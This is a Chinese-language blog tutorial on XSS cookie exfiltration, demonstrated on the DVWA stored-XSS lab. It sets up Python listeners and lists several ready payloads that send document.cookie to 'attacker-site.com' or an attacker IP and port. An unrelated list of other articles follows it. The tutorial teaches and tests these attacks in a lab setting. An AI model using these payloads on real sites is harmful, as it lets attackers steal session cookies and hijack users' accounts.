当前位置: 首页 > news >正文

[网络安全]XSS之Cookie外带攻击姿势及例题详析

[网络安全]XSS之Cookie外带攻击姿势及例题详析

    • 概念
    • 姿势及Payload
      • 启动HTTP协议 method1
      • 启动HTTP协议 method2
    • 例题详析
      • Payload1
      • Payload2
        • window.open
    • 总结

本文仅分享XSS攻击知识,不承担任何法律责任。
本文涉及的软件等请读者自行安装,本文不再赘述。


概念

XSS 的 Cookie 外带攻击就是一种针对 Web 应用程序中的 XSS(跨站脚本攻击)漏洞进行的攻击,攻击者通过在 XSS 攻击中注入恶意脚本,从而窃取用户的 Cookie 信息

攻击者通常会利用已经存在的 XSS 漏洞,在受害者的浏览器上注入恶意代码,并将受害者的 Cookie 数据上传到攻击者控制的服务器上,然后攻击者就可以使用该 Cookie 来冒充受害者,执行一些恶意操作,例如盗取用户的账户信息、发起钓鱼攻击等。


姿势及Payload

XSS 的 Cookie 外带攻击分为

  • 在输入框中注入恶意代码
  • 在 URL 中注入特定的参数或路径来触发
  • 其它方法
  1. 在输入框中注入恶意代码的方式可能包括:在评论框、留言框、搜索框等用户输入区域中插入可执行的 JavaScript 代码,或者在提交表单时篡改表单字段、注入恶意脚本等。当用户提交表单时,恶意代码被执行并将 Cookie 数据上传到攻击者的服务器上。

  2. 在 URL 中注入恶意参数或路径的方式通常包括:将包含恶意脚本的 URL 发送给受害者,或者将其嵌入到网站的页面中,并欺骗受害者点击该链接。一旦受害者点击了该链接,则可触发 XSS 漏洞,从而实现 Cookie 外带攻击。

  3. 其他的触发方式,包括:

通过恶意广告:攻击者可以将恶意脚本插入到广告代码中,然后在网站上显示这段广告。当用户点击该广告或鼠标移动到该广告区域时,恶意代码被执行,从而触发 XSS 攻击。

通过 CSRF 攻击:攻击者可以在已登录的用户浏览器中执行 CSRF(跨站请求伪造)攻击,并在攻击载荷中注入恶意 XSS 代码。当用户访问包含恶意代码的页面时,会触发 XSS 攻击。

通过文件上传:攻击者可以在 Web 应用程序中上传包含恶意脚本的文件,例如图片、文档或视频等。当用户下载并打开该文件时,恶意代码被执行,从而触发 XSS 攻击。

在使用XSS语句将Cookie外带到攻击者IP地址前,需要在攻击机上起一个http协议,使得目标机能够将Cookie发送给该IP地址


启动HTTP协议 method1

本文使用本机起IP地址

  1. 使用文本编辑器(例如 Sublime Text、VS Code 等)创建一个新的 Python 文件。

  2. 导入 socket 库。socket 库是 Python 标准库的一部分,提供了网络编程相关的 API 和函数。

    import socket
    
  3. 选择一个主机地址和端口号来监听连接请求。主机地址可以是 IP 地址或域名。你可以选择任何未使用的端口号作为监听端口。

    HOST = 'localhost'  # 或者使用本机的 IP 地址,如 '192.168.1.2'
    PORT = 8000 #或2023、2020
    
  4. 需要创建一个 socket 对象。可以使用 socket() 函数来创建一个 socket 对象,并指定协议族(例如 AF_INET),以及套接字类型(例如 SOCK_STREAM)。

    server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    
  5. 绑定主机地址和端口号到 socket 对象上。可以使用 bind() 函数来绑定主机地址和端口号。

    server_socket.bind((HOST, PORT))
    
  6. 开始监听连接请求。可以使用 listen() 函数来开始监听连接请求。传入的参数表示最大等待连接数。

    server_socket.listen(2)
    

综合起来,一个简单的启动 IP 地址的 Python 代码如下所示:

import socketHOST = '本机IP地址'
PORT = 2022server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 创建一个服务器套接字,使用 IPv4 地址族(AF_INET)和 TCP 传输协议(SOCK_STREAM)
server_socket.bind((HOST, PORT))
# 将服务器套接字与特定的主机地址和端口号进行绑定,以便客户端能够找到它
server_socket.listen(1)print('等待客户端连接...')# 接受客户端连接
client_socket, addr = server_socket.accept()
print('客户端已连接:', addr)# 接收客户端发送的数据
data = client_socket.recv(1024)
print('接收到数据:', data.decode())# 将接收到的数据原样返回给客户端
client_socket.sendall(data)# 关闭客户端连接
client_socket.close()
# 使用 close() 方法关闭套接字并释放所有相关的资源;# 关闭服务器套接字
server_socket.close()
# 使用 close() 方法关闭套接字并释放所有相关的资源。
  • 一旦有客户端连接,accept() 方法会返回一个新的客户端套接字和客户端地址信息(包括 IP 地址和端口号)

  • recv() 方法会阻塞程序,直到有数据可用或者超时,然后将接收到的数据作为 Python 字节对象返回。在本例中,客户端发送的数据最大为 1024 字节;

  • 将接收到的数据原样发送回客户端,使用 sendall() 方法向客户端套接字写入数据。

注意,sendall() 方法保证能够将所有数据发送出去,因此不需要循环调用其它方法来确保消息完整发送

接着,使用 Python 解释器来执行该文件。可以通过终端或命令提示符进入包含该文件的目录,并使用 python 命令后跟文件名来运行该文件,例如:

python test.py

其中,test.py 是 Python 文件的文件名。执行后,服务器将启动并开始监听指定的 IP 地址和端口号,等待客户端连接。

最后,在页面执行 XSS 的 Cookie外带攻击,使目标机向指定的IP地址发送Cookie,监听的端口即可接收。


启动HTTP协议 method2

打开python2终端输入:

python2 -m SimpleHTTPServer 8080(端口号)

打开python3终端输入:

python3 -m http.server 8080(端口号)

即可监听8080端口,接受XSS语句外带的Cookie


以下是一些常见的 XSS 的 Cookie 外带攻击语句:

  1. 利用 document.cookie 获取当前域下所有 cookie 的值:

<script>new Image().src="http://attacker-site.com/cookie.php?cookie="+document.cookie;</script>

  1. 将当前页面的 URL 和 Cookie 发送到攻击者的服务器:

<img src="http://attacker-site.com/logger.php?url="+encodeURIComponent(document.location.href)+"&cookie="+encodeURIComponent(document.cookie)" />

  1. 利用 XMLHttpRequest 对象发送 HTTP 请求,将 Cookie 数据发送到攻击者的服务器:

<script>var xhr = new XMLHttpRequest(); xhr.open("POST", "http://attacker-site.com/logger.php", true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.send('url=' + encodeURIComponent(document.location.href) + '&cookie=' + encodeURIComponent(document.cookie));</script>

  1. 利用 window.location 对象向攻击者的服务器提交请求,附带当前页面的 URL 和 Cookie:

<script>window.location="http://attacker-site.com/logger.php?url="+encodeURIComponent(document.location.href)+"&cookie="+encodeURIComponent(document.cookie);</script>

  1. 利用 document.write 返回页面中的Cookie,并将其拼接到目标URL中,作为参数发送到指定的 IP 地址和端口

<script>document.write('<img src="http://ip:端口号/'+document.cookie+'"/>')</script>

  1. 通过 window.open 方法打开了指定的攻击机地址,并拼接、传递cookie

<img src=1 onerror=window.open("http://ip:端口号/?id="+document.cookie)>

例题详析

本文以DVWA之XSS(Stored) low-level为例,通过DVWA本地环境进行XSS之Cookie外带例题详析。

  1. 写入python文件,以test.py命名,IP为本机IPv4地址,端口为2022,启动监听
    在这里插入图片描述

  2. 在页面执行 XSS 的 Cookie外带攻击,使目标机向指定的IP地址发送Cookie

Payload1

Name栏输入:1
Message栏输入:<script>document.write('<img src="http://IPv4地址:2022/'+document.cookie+'"/>')</script>

在这里插入图片描述
绕过Message栏的字符串长度限制可参考:
[网络安全]DVWA之XSS(Stored)攻击姿势及解题详析合集

如下图,XSS语句注入成功:
在这里插入图片描述

端口监听到数据:

在这里插入图片描述

Payload2

<img src=1 onerror=window.open("http://IPv4地址:2022/?id="+document.cookie)>
使用 onerror 事件的方式,在图片加载失败时触发一个错误事件,通过 window.open 方法打开了指定的攻击机地址,并传递cookie

window.open

window.open() 是 JavaScript 中用于打开新窗口或新标签页的方法。它接受一个 URL 作为参数,返回一个新的浏览器窗口对象或者选项卡对象。在实际应用中,可以使用该方法来实现各种功能,如显示广告、打开弹窗、播放视频等。

例如,以下代码将会在新窗口或新标签页中打开指定 URL:

window.open("http://www.example.com");

除了 URL 参数之外,还可以传递一些可选的参数,如窗口大小、位置、工具栏和滚动条等属性。例如:

window.open("http://www.example.com","myWindow","width=400,height=300,left=100,top=100,toolbar=yes,scrollbars=yes");

如下图,XSS语句注入成功:
在这里插入图片描述

页面跳转并传递cookie:
在这里插入图片描述


总结

以上为[网络安全]XSS之Cookie外带攻击姿势及例题详析,读者可躬身实践,
DVWA之XSS相关:
[网络安全]DVWA之XSS(Stored)攻击姿势及解题详析合集

[网络安全]DVWA之XSS(Reflected)攻击姿势及解题详析合集

[网络安全]DVWA之XSS(DOM)攻击姿势及解题详析合集

我是秋说,我们下次见。

相关文章:

[网络安全]XSS之Cookie外带攻击姿势及例题详析

[网络安全]XSS之Cookie外带攻击姿势及例题详析 概念姿势及Payload启动HTTP协议 method1启动HTTP协议 method2 例题详析Payload1Payload2window.open 总结 本文仅分享XSS攻击知识&#xff0c;不承担任何法律责任。 本文涉及的软件等请读者自行安装&#xff0c;本文不再赘述。 概…...

Angular之创建项目报错:setTimeout is not defined

零基础的宝们&#xff0c;跟着视频学习Angular中&#xff0c;会教授大家如何创建一个新项目。 但是在操作时就会遇到无法创建的问题。 接下来我们一起来看看&#xff0c;本人Angular起步时卡在家门口的问题。 在已经安装了nodejs的情况下&#xff0c;被建议使用cnpm命令全局安装…...

python实现神经网络之---构建神经元模型1(python3.7)

本文主要要以周志华的机器学习书为蓝本编写 第5章神经网络 5.1python 实现神经元模型 神经网络中最基本的成分是神经元 (neuro且)模型&#xff0c;如下图所示&#xff1a; 1943 年&#xff0c; [McCulloch and Pitts, 1943] 将上述情形抽象为国 5.1所示的简单模型&#xff0c…...

前端面试题 —— JavaScript (三)

一、JavaScript有哪些内置对象 全局的对象&#xff08; global objects &#xff09;或称标准内置对象&#xff0c;不要和 "全局对象&#xff08;global object&#xff09;" 混淆。这里说的全局的对象是说在全局作用域里的对象。全局作用域中的其他对象可以由用户的…...

【openGauss】一键编译openGauss5.0+dolphin,体验新增的mysql兼容特性

脚本 新建一个/opt/onekey-build-og.sh文件&#xff0c;存入以下内容 #!/bin/bash # 环境 centos 7.9 4C 8G (配置越高编译越快&#xff0c;4G内存编译不了&#xff0c;磁盘大概需要14GB) # 安装一些依赖 &#xff08;libaio-devel如果不卸载重装&#xff0c;可能会找不到io_c…...

【LeetCode - 每日一题】1073. 负二进制数相加 (2023.05.18)

1073. 负二进制数相加 题意 基数为 -2 。实现两个 0/1 数组串的加法。 解法 这是一道模拟题。 设 arr1[i] 和 arr2[i] 是数组 arr1 和 arr2 从低到高的第 i 位数。 首先回顾普通的二进制数的相加&#xff0c;从低位开始计算&#xff0c;在计算的同时维护用一个变量 carry…...

软件上线会面临哪些缺陷?这四种你一定很熟悉

上线对任何软件产品来说都是一件大事&#xff0c;确保一切正常并且向用户发布高质量的软件非常重要。劣质、过早、不稳定、难以使用的产品会产生大量经济损失&#xff0c;也可能使用户对品牌本身失去信任。一直以来&#xff0c;我们都说应该测试&#xff0c;应该将缺陷修复到可…...

html监听界面被隐藏或显示

vue相比于小程序和uni-app 显然少了两个有点用的生命周期 onShow 应用被展示 onHide 应用被隐藏 但其实这个 要做其实也很简单 JavaScript中 有对应的visibilitychange事件可以监听 我们Html参考代码如下 <!DOCTYPE html> <html lang"en"> <head>…...

Springboot启动失败 DB连不上竟然是maven配置的问题

Springboot启动失败&#xff1a;Failed to instantiate [javax.sql.DataSource]。 最开始以为是DB版本后&#xff0c;需要升级驱动版本&#xff0c;但更新驱动版本还是不行&#xff0c;而且另外一个项目同样驱动同样配置可以启动。 后面发现代码读取不到yml文件中的配置信息。…...

P9234 [蓝桥杯 2023 省 A] 买瓜 题解

题目传送门 前言 说实话这题根本用不到什么折半……&#xff0c;今天看机房大佬写了半天加了一堆剪枝还以为很难&#xff0c;其实是你们想复杂了 20分钟不到从看题到代码实现 这题其实只需要可行性剪枝加排序 哦还有个后缀和 进入正题 小木棍子都听说过吧 没错就是小波上…...

ThingsBoard自定义分发节点duplicate to related

------------------------------------内容仅博主所有,订阅者请勿泄露,感谢--------------------- 1、概述 大家好,我又更新干货了,还是那句话,我绝不像某些博主“拿我格子衫”分享那些照抄官网翻译的东西来骗订阅,我觉得那是浪费时间,要搞就搞干货,今天给大家分享Th…...

vim自动更新ctags与taglist

vim的 ctags 和 taglist 在默认情况下是不进行自动更新的&#xff0c;这对于编写代码是非常不方便的&#xff0c;好在vim的脚本还是很强大的&#xff0c;于是在vimrc中添加如下函数&#xff1a; function! UpdateCtags()let curdirgetcwd()while !filereadable("./tags&qu…...

linux查看日志常用命令,动态日志命令

linux查看日志命令&#xff0c;动态日志命令&#xff1a; tail&#xff1a; -n是显示行号&#xff1b;相当于nl命令&#xff1b;例子如下&#xff1a; tail -100f test.log 实时监控100行日志。 tail -n 10 test.log 查询日志尾部最后10行的日志。 tail -…...

分段存储管理方式

目录 一、分段存储管理方式的引入的需求: 1.方便编程 2.信息共享 3.信息保护 4.动态增长 5.动态链接 二、分段系统的基本原理 1.分段 2.段表 3.地址变换机构 4.分页与分段的主要区别 三、信息共享 四、段页式存储管理方式 1.基本原理 2.地址变换过程 分段与分页…...

将nacos从本地切换到远程服务器上时报错:客户端端未连接,Client not connected

报错信息&#xff1a; 09:34:38.438 [com.alibaba.nacos.client.Worker] ERROR com.alibaba.nacos.common.remote.client - Send request fail, request ConfigBatchListenRequest{headers{charsetUTF-8, Client-AppNameunknown, Client-RequestToken65c0fbf47282ae0a7b85178…...

系统掌握入河排污口设置论证技术、方法及报告编制框架

在短时间内较系统的掌握入河排污口设置论证技术、方法及报告编制框架&#xff0c;学习内容以城镇生活污水厂、造纸项目、石化项目、制药项目案例为线索&#xff0c;系统讲解入河排污口设置论证报告书编制过程&#xff0c;并以水质模型为手段&#xff0c;讲解水质影响预测模型的…...

服务端渲染

服务端渲染 和 前后端分离&#xff01; 渲染 什么是渲染呢 ? 其实很简单, 就是把数据反应在页面上&#xff0c;说白了, 就是利用 js 的语法, 把某些数据组装成 html 结构的样子, 放在页面上展示。 举个例子 : 1. 准备一段 html 结构 <h1>hello world</h1> <di…...

干货丨警惕!14个容易导致拒稿的常见错误

Hello,大家好&#xff01; 这里是壹脑云科研圈&#xff0c;我是喵君姐姐~ 从做研究、到写论文、再到投稿&#xff0c;每一步都是巨大的挑战。以下列举了一些在这些过程中可能导致拒稿的常见错误&#xff0c;希望能帮助大家避开。 01 格式问题 1.没有遵守投稿须知 期刊提供了…...

Web基础 ( 二 ) CSS

2.CSS 2.1.概念与基础 2.1.1.什么是CSS Cascading Style Sheets 全称层叠样式单 简称样式表。 是告诉浏览器如何来显示HTML的元素的特殊标记 2.1.2.编写方式 2.1.2.1.外部文件 在html文件的<head>中加入<link>结点来引入外部的文件 <link rel"stylesh…...

MSQL系列(一) Mysql实战-索引结构 二叉树/平衡二叉树/红黑树/BTree/B+Tree

Mysql实战-索引结构 二叉树/平衡二叉树/红黑树/BTree/BTree 我们在项目中都会使用索引&#xff0c;所以我们要了解索引的存储结构&#xff0c;今天我们就着重讲解下Mysql的索引结构存储模型&#xff0c;并且看下 二叉树&#xff0c;平衡二叉树&#xff0c;红黑树&#xff0c;B…...

浅谈 React Hooks

React Hooks 是 React 16.8 引入的一组 API&#xff0c;用于在函数组件中使用 state 和其他 React 特性&#xff08;例如生命周期方法、context 等&#xff09;。Hooks 通过简洁的函数接口&#xff0c;解决了状态与 UI 的高度解耦&#xff0c;通过函数式编程范式实现更灵活 Rea…...

接口测试中缓存处理策略

在接口测试中&#xff0c;缓存处理策略是一个关键环节&#xff0c;直接影响测试结果的准确性和可靠性。合理的缓存处理策略能够确保测试环境的一致性&#xff0c;避免因缓存数据导致的测试偏差。以下是接口测试中常见的缓存处理策略及其详细说明&#xff1a; 一、缓存处理的核…...

反向工程与模型迁移:打造未来商品详情API的可持续创新体系

在电商行业蓬勃发展的当下&#xff0c;商品详情API作为连接电商平台与开发者、商家及用户的关键纽带&#xff0c;其重要性日益凸显。传统商品详情API主要聚焦于商品基本信息&#xff08;如名称、价格、库存等&#xff09;的获取与展示&#xff0c;已难以满足市场对个性化、智能…...

React Native 导航系统实战(React Navigation)

导航系统实战&#xff08;React Navigation&#xff09; React Navigation 是 React Native 应用中最常用的导航库之一&#xff0c;它提供了多种导航模式&#xff0c;如堆栈导航&#xff08;Stack Navigator&#xff09;、标签导航&#xff08;Tab Navigator&#xff09;和抽屉…...

【JavaEE】-- HTTP

1. HTTP是什么&#xff1f; HTTP&#xff08;全称为"超文本传输协议"&#xff09;是一种应用非常广泛的应用层协议&#xff0c;HTTP是基于TCP协议的一种应用层协议。 应用层协议&#xff1a;是计算机网络协议栈中最高层的协议&#xff0c;它定义了运行在不同主机上…...

QMC5883L的驱动

简介 本篇文章的代码已经上传到了github上面&#xff0c;开源代码 作为一个电子罗盘模块&#xff0c;我们可以通过I2C从中获取偏航角yaw&#xff0c;相对于六轴陀螺仪的yaw&#xff0c;qmc5883l几乎不会零飘并且成本较低。 参考资料 QMC5883L磁场传感器驱动 QMC5883L磁力计…...

centos 7 部署awstats 网站访问检测

一、基础环境准备&#xff08;两种安装方式都要做&#xff09; bash # 安装必要依赖 yum install -y httpd perl mod_perl perl-Time-HiRes perl-DateTime systemctl enable httpd # 设置 Apache 开机自启 systemctl start httpd # 启动 Apache二、安装 AWStats&#xff0…...

2025 后端自学UNIAPP【项目实战:旅游项目】6、我的收藏页面

代码框架视图 1、先添加一个获取收藏景点的列表请求 【在文件my_api.js文件中添加】 // 引入公共的请求封装 import http from ./my_http.js// 登录接口&#xff08;适配服务端返回 Token&#xff09; export const login async (code, avatar) > {const res await http…...

QT: `long long` 类型转换为 `QString` 2025.6.5

在 Qt 中&#xff0c;将 long long 类型转换为 QString 可以通过以下两种常用方法实现&#xff1a; 方法 1&#xff1a;使用 QString::number() 直接调用 QString 的静态方法 number()&#xff0c;将数值转换为字符串&#xff1a; long long value 1234567890123456789LL; …...

均衡后的SNRSINR

本文主要摘自参考文献中的前两篇&#xff0c;相关文献中经常会出现MIMO检测后的SINR不过一直没有找到相关数学推到过程&#xff0c;其中文献[1]中给出了相关原理在此仅做记录。 1. 系统模型 复信道模型 n t n_t nt​ 根发送天线&#xff0c; n r n_r nr​ 根接收天线的 MIMO 系…...